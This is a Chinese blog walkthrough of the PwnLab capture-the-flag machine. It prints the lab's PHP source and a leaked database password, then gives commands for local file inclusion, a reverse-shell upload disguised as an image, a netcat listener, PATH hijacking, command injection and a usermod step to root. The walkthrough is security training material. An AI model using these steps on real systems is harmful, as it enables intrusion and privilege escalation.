pwnlab

作者: __周__ | 来源:发表于2020-02-08 14:23 被阅读0次

    上来只有一个登录页面

    图片.png

    端口扫描除了一个3306,别的也没有找到什么有用的线索

    图片.png

    然后用nikto -h http://192.168.133.218扫一下隐藏或配置错误的目录或文件,发现一个config.php,估计里面有内容

    图片.png

    打开网站,几个功能点http://192.168.133.218/?page=login,发现这个地方可能存在文件包含

    貌似远程文件包含,本地文件包含都不好用,看下源码能不能读出来php://filter/read=convert.base64-encode/resource=index,这个地方有第一个坑,不能加php后缀

    然后能去把文件的源码都读出来,让后使用echo "****" |base64 -d

    • index.php
    <?php
    //Multilingual. Not implemented yet.
    //setcookie("lang","en.lang.php");
    if (isset($_COOKIE['lang']))
    {
        include("lang/".$_COOKIE['lang']);
    }
    // Not implemented yet.
    ?>
    <html>
    <head>
    <title>PwnLab Intranet Image Hosting</title>
    </head>
    <body>
    <center>
    <img src="images/pwnlab.png"><br />
    [ <a href="/">Home</a> ] [ <a href="?page=login">Login</a> ] [ <a href="?page=upload">Upload</a> ]
    <hr/><br/>
    <?php
        if (isset($_GET['page']))
        {
            include($_GET['page'].".php");
        }
        else
        {
            echo "Use this server to upload and share image files inside the intranet";
        }
    ?>
    </center>
    </body>
    </html>
    
    • login.php
    <?php
    session_start();
    require("config.php");
    $mysqli = new mysqli($server, $username, $password, $database);
    
    if (isset($_POST['user']) and isset($_POST['pass']))
    {
        $luser = $_POST['user'];
        $lpass = base64_encode($_POST['pass']);
    
        $stmt = $mysqli->prepare("SELECT * FROM users WHERE user=? AND pass=?");
        $stmt->bind_param('ss', $luser, $lpass);
    
        $stmt->execute();
        $stmt->store_Result();
    
        if ($stmt->num_rows == 1)
        {
            $_SESSION['user'] = $luser;
            header('Location: ?page=upload');
        }
        else
        {
            echo "Login failed.";
        }
    }
    else
    {
        ?>
        <form action="" method="POST">
        <label>Username: </label><input id="user" type="test" name="user"><br />
        <label>Password: </label><input id="pass" type="password" name="pass"><br />
        <input type="submit" name="submit" value="Login">
        </form>
        <?php
    }
    
    

    -config.php

    <?php
    $server   = "localhost";
    $username = "root";
    $password = "H4u%QJ_H99";
    $database = "Users";
    ?
    
    • upload.php
    <?php
    session_start();
    if (!isset($_SESSION['user'])) { die('You must be log in.'); }
    ?>
    <html>
        <body>
            <form action='' method='post' enctype='multipart/form-data'>
                <input type='file' name='file' id='file' />
                <input type='submit' name='submit' value='Upload'/>
            </form>
        </body>
    </html>
    <?php 
    if(isset($_POST['submit'])) {
        if ($_FILES['file']['error'] <= 0) {
            $filename  = $_FILES['file']['name'];
            $filetype  = $_FILES['file']['type'];
            $uploaddir = 'upload/';
            $file_ext  = strrchr($filename, '.');
            $imageinfo = getimagesize($_FILES['file']['tmp_name']);
            $whitelist = array(".jpg",".jpeg",".gif",".png"); 
    
            if (!(in_array($file_ext, $whitelist))) {
                die('Not allowed extension, please upload images only.');
            }
    
            if(strpos($filetype,'image') === false) {
                die('Error 001');
            }
    
            if($imageinfo['mime'] != 'image/gif' && $imageinfo['mime'] != 'image/jpeg' && $imageinfo['mime'] != 'image/jpg'&& $imageinfo['mime'] != 'image/png') {
                die('Error 002');
            }
    
            if(substr_count($filetype, '/')>1){
                die('Error 003');
            }
    
            $uploadfile = $uploaddir . md5(basename($_FILES['file']['name'])).$file_ext;
    
            if (move_uploaded_file($_FILES['file']['tmp_name'], $uploadfile)) {
                echo "<img src=\"".$uploadfile."\"><br />";
            } else {
                die('Error 4');
            }
        }
    }
    
    ?>
    

    然后我们拿到了数据库的root权限,然后本地连上去
    mysql -uroot -pH4u%QJ_H99 -h192.168.133.218

    然后查表,拿数据,密码是base64加密的


    查询

    然后,拿到用户名密码,回去登录一下,登录成功之后,默认跳转到upload页面

    1

    分析上面的代码,我们可以得知是白名单,并且校验后缀名

    这个时候我们传一个webshell上去,然后再用index的文件包含来执行这个webshell,然后需要将后缀名改成白名单里的后缀之一就行
    webshell路径/usr/share/webshells/php/php-reverse-shell.php

    传上去之后,右键复制图像地址,即可得到webshell名,然后我们去构造index.php,让他去调用webshell,分析源码,我们可知,只需要在cookie里面加上lang=../upload/webshell.gif即可完成调用,与此同时,需要在kali上开一个窗口监听webshell的链接nc -lvp 1234

    图片.png

    然后顺手开一个伪终端python -c 'import pty;pty.spawn("/bin/bash");'
    发现自己是一个www-data权限,这个时候就把前面的几个用户名密码给用上了
    直接su用户,最后发现只有kent,kane能登陆上去,其中kent还是个空用户,妹的耍我,

    然后发现kane用户家目录下有一个可执行文件

    图片.png

    执行发现报错

    图片.png

    原谅我菜,不知道咋整了,去网上借鉴了一下大佬的wp,ORZ

    看起来该程序的作者试图在cat不提供完整路径的情况下运行了命令…我在运行Bash程序cat的/tmp目录中创建了一个文件shell,并将其添加到$PATH环境变量的开头,系统先cat在/tmp目录中查找二进制文件,并将执行我们的shell…
    说实话上面的那段看的我脑壳有点痛,有明白的表哥,给我讲讲呗
    我自己理解就是修改环境变量,让cat执行的时候选择自己伪造的文件,然后让目标可执行程序继续执行,然后执行我们指定的伪造的文件内容(理解的不对还望指正)

    echo /bin/bash > cat
    chmod 777 cat
    export PATH=./:$PATH
    

    执行脚本,然后会切换到mike用户下

    图片.png

    切换到mike用户家目录下,发现有msg2root,执行发现也是报错....

    图片.png

    然后想着去提权到真正的root权限


    图片.png

    然后考虑执行123 && /bin/sh,获取权限

    图片.png

    然后看到是root伪权限了

    图片.png
    real user ID (uid): 实际用户ID,指的是进程执行者是谁
    effective user ID (euid): 有效用户ID,指进程执行时对文件的访问权限
    saved set-user-ID (saved uid): 保存设置用户ID。是进程刚开始执行时,euid的副本。在执行exec调用之后能重新恢复原来的effectiv user ID.
    

    然后使用/usr/sbin/usermod -u 0 -o kent修改用户suid,直接到root权限

    图片.png

    相关文章

      网友评论

          本文标题:pwnlab

          本文链接:https://www.haomeiwen.com/subject/anamxhtx.html